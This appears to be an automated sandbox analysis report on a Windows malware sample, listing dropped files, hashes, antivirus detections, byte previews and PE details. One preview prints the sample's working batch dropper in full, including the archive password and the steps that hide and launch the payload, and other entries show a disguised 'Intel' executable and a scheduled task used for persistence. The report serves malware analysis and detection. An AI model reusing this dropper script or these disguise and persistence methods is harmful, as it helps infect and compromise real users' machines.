MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4153432879931946
Encrypted:	false
SSDEEP:	6:HXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lHte1ut0:3f2RKQ1CGAFAjzvYRQVH1t0
MD5:	79130CCEFC970B21A76F6F8E58D9E930
SHA1:	038A86C5C26E04BDB25CDD194A4C2BEB2E949278
SHA-256:	DE13CA0942AC6F45A1D870EF33C2F3C22E90CDE3A057D061B096F20A84F03FF3
SHA-512:	464050E9FD6143F0E888BDA249C10FECF4AE90C48B0FC308D36AD7BAD4D92D5554136DCFC1357B568C7F1C8A9E8CCE2542360BBB632836ED0AB68044A4491641
Malicious:	false
Preview:	........7.B......B.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1275904
Entropy (8bit):	7.9913649636274116
Encrypted:	true
SSDEEP:	24576:nqYNJzSEZYfL8tWC6HeBDUMCp5yiW18BR7e7r5MQkc2nylqPv:n57zSyq82H0DUHp5ljBo54HPv
MD5:	577CD52217DA6D7163CEA46BB01C107F
SHA1:	82B31CC52C538238E63BDFC22D1EA306EA0B852A
SHA-256:	139762E396FB930400FAB8FAAB80CB679ABBE642144261CBA24973FB23BCD728
SHA-512:	8ABAD4EAF2A302DFD9EAD058E8C14D996437975730125C46D034A71028921FF36FF5D157AD3671E328AC667EC8095DB19FA14A9E8EAAF1A7738AA3D0120B5474
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................x............@...........................;...........@................................. P-..............................P-.........................................................................................................................@............0..........................@................0...0..................@............@... ..."...F..............@.............'..`.......h..............@....data....`...P-..V..."..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	364
Entropy (8bit):	5.023093563765204
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQF/qvpap1tNjtv:pMpDh5RwXSTgqFyYwzu5GA1tNp
MD5:	486E722058CDE6E929C88755EBAAED13
SHA1:	330E4200F447BAB7353AF4A126C274B315526F37
SHA-256:	93A130C773CE7DEADD2781A1A1A7C515424F1B7644EB9F367E68A88339FB38E1
SHA-512:	BF2C094562493795AB7CC67CB270FC9EA0D7FDD92DE7AE835DD9DE7ED6FFE2997BF584D09F8E5F13A5709660F7366FA086892352F2C99B43D8F590781AF0EBA5
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .100% 1. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.58783107820754
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'008'512 bytes
MD5:	eb5e8af364226452a7b60cfdf34ce69b
SHA1:	cc80c76f29701db1dc2862d0ba28bd6a15495db1
SHA256:	c0645847e49ab8e30b22d510db3b31c8cb9e7301fa599c2cdacf4978f340abc8
SHA512:	62e312e1a75b8acd276b7fb6bfafb9dc4568f81415931b860cb5354ba3c3e0a0f0f2dfa683aabc69569e6b0e7d0bd830259b65e63af09ea0f3ec43ba58fb46f4
SSDEEP:	49152:XTJjZdsdiRYaCGZPNYWJuwrAZRvE5JitgU7sT/8az/tBBTgmEg:XTJjZdsdiRYTaNYWJuwsLvEnpU7Ta/J0
TLSH:	EED55C917509B7CFD48E167C956BCD82599D03B94B2008C3A8ADB87EBE67DC01AF7C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x719000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F838882073Ah
shufps xmm5, dqword ptr [00000000h], 00h
jmp 00007F8388822735h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x317b14	0x10	odogmioi
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
